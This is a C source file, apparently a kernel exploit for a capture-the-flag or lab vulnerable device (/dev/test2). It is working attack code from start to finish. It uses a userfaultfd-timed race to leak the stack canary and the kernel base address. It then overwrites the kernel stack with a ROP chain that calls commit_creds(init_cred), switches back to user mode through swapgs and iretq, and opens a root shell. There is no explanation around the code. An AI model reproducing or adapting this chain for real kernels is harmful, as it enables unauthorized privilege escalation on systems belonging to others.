1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330
| #define _GNU_SOURCE #include <err.h> #include <inttypes.h> #include <sched.h> #include <net/if.h> #include <netinet/in.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <stdint.h> #include <sys/prctl.h> #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <time.h>
size_t user_cs, user_ss, user_sp, user_rflags; void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("[*]status has been saved."); }
void get_shell() { if (getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); }
void errExit(char *err_msg) { puts(err_msg); exit(-1); }
void RegisterUserfault(void *fault_page, void *handler) { pthread_t thr; struct uffdio_api ua; struct uffdio_register ur; uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); ua.api = UFFD_API; ua.features = 0; if (ioctl(uffd, UFFDIO_API, &ua) == -1) errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page; ur.range.len = 0x1000; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) errExit("[-] ioctl-UFFDIO_REGISTER"); int s = pthread_create(&thr, NULL, handler, (void *)uffd); if (s != 0) errExit("[-] pthread_create"); }
void *sleep_handle(void *arg) { struct uffd_msg msg; int fault_cnt = 0; long uffd;
struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long)arg; puts("[+] sleep handler created");
for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); puts("[+] sleep handler unblocked");
if (nready == -1) errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
sleep(4);
if (nread == 0) errExit("EOF on userfaultfd!\n");
if (nread == -1) errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n");
char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) { errExit("[-] mmap err"); } struct uffdio_copy uc; memset(page, 0, sizeof(page));
uc.src = (unsigned long)page; uc.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1); uc.len = 0x1000; uc.mode = 0; uc.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uc) == -1) errExit("ioctl-UFFDIO_COPY"); puts("[+] sleep handler done"); return NULL; } }
unsigned long prepare_kernel_cred = NULL; unsigned long commit_creds = NULL; unsigned long pop_rdi = 0xffffffff810835c0; unsigned long swapgs_pop = 0xffffffff8106c984; unsigned long iretq = 0xffffffff81c014f5; unsigned long init_cred = NULL; unsigned long canary;
void *overflow_handle(void *arg) { struct uffd_msg msg; int fault_cnt = 0; long uffd;
struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long)arg; puts("[+] sleep handler created");
for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); puts("[+] sleep handler unblocked");
if (nready == -1) errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
sleep(4);
if (nread == 0) errExit("EOF on userfaultfd!\n");
if (nread == -1) errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd\n");
char *page = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) { errExit("[-] mmap err"); } struct uffdio_copy uc; memset(page, 0, sizeof(page));
uc.src = (unsigned long)page; uc.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1); uc.len = 0x1000; uc.mode = 0; uc.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uc) == -1) errExit("ioctl-UFFDIO_COPY"); puts("[+] sleep handler done"); return NULL; } }
void print_hex(char *buf, int size) { int i; puts("======================================"); printf("data :\n"); for (i = 0; i < (size / 8); i++) { if (i % 2 == 0) { if (i / 2 < 10) { printf("%d ", i / 2); } else if (i / 2 < 100) { printf("%d ", i / 2); } else { printf("%d", i / 2); } } printf(" %16llx", *(size_t *)(buf + i * 8)); if (i % 2 == 1) { printf("\n"); } } puts("======================================"); }
int fd;
int write_handler(char *buf) { sleep(2); puts("now change uesed"); write(fd, buf, 0x200); }
int control_handler(char *buf) { write(fd, buf, 0xf0); }
int read_handler(char *buf) { sleep(1); puts("now read buffer"); read(fd, buf, 0x200); }
int main() { save_status(); signal(SIGSEGV, get_shell); setvbuf(stdout, 2, 0, 0);
fd = open("/dev/test2", O_RDWR); if (fd < 0) { puts("[-] open test2 error!"); }
char *buf = malloc(0x2000); char *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); char *page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); pthread_t thr[2]; unsigned long kernel_addr; unsigned long kernel_base; unsigned long kernel_offset;
RegisterUserfault(page, sleep_handle); write(fd, buf, 0x8); sleep(2); pthread_create(&thr[1], NULL, write_handler, buf); pthread_create(&thr[0], NULL, control_handler, buf); read_handler(buf); pthread_join(thr[1], NULL);
canary = *(unsigned long *)(buf + 32 * 8); kernel_addr = *(unsigned long *)(buf + 47 * 8); kernel_base = kernel_addr - 0x426939; kernel_offset = kernel_base - 0xffffffff81000000; printf("[+] get canary: %p\n", canary); printf("[+] get kernel base: %p\n", kernel_base);
prepare_kernel_cred = 0xb9550 + kernel_base; commit_creds = 0xb91e0 + kernel_base; init_cred = 0x165b400 + kernel_base; swapgs_pop = swapgs_pop + kernel_offset; iretq = iretq + kernel_offset; pop_rdi = pop_rdi + kernel_offset;
pthread_create(&thr[0], NULL, write_handler, buf); sleep(1); int i = 0; *(unsigned long *)(buf + ((i++) * 8)) = canary; *(unsigned long *)(buf + ((i++) * 8)) = canary; *(unsigned long *)(buf + ((i++) * 8)) = canary; *(unsigned long *)(buf + ((i++) * 8)) = canary; *(unsigned long *)(buf + ((i++) * 8)) = pop_rdi; *(unsigned long *)(buf + ((i++) * 8)) = init_cred; *(unsigned long *)(buf + ((i++) * 8)) = commit_creds; *(unsigned long *)(buf + ((i++) * 8)) = swapgs_pop; *(unsigned long *)(buf + ((i++) * 8)) = swapgs_pop; *(unsigned long *)(buf + ((i++) * 8)) = iretq; *(unsigned long *)(buf + ((i++) * 8)) = get_shell; *(unsigned long *)(buf + ((i++) * 8)) = user_cs; *(unsigned long *)(buf + ((i++) * 8)) = user_rflags; *(unsigned long *)(buf + ((i++) * 8)) = user_sp; *(unsigned long *)(buf + ((i++) * 8)) = user_ss; write(fd, buf, 0xe0); pthread_join(thr[0], NULL);
read(fd, buf, 0x200);
return 0; }
|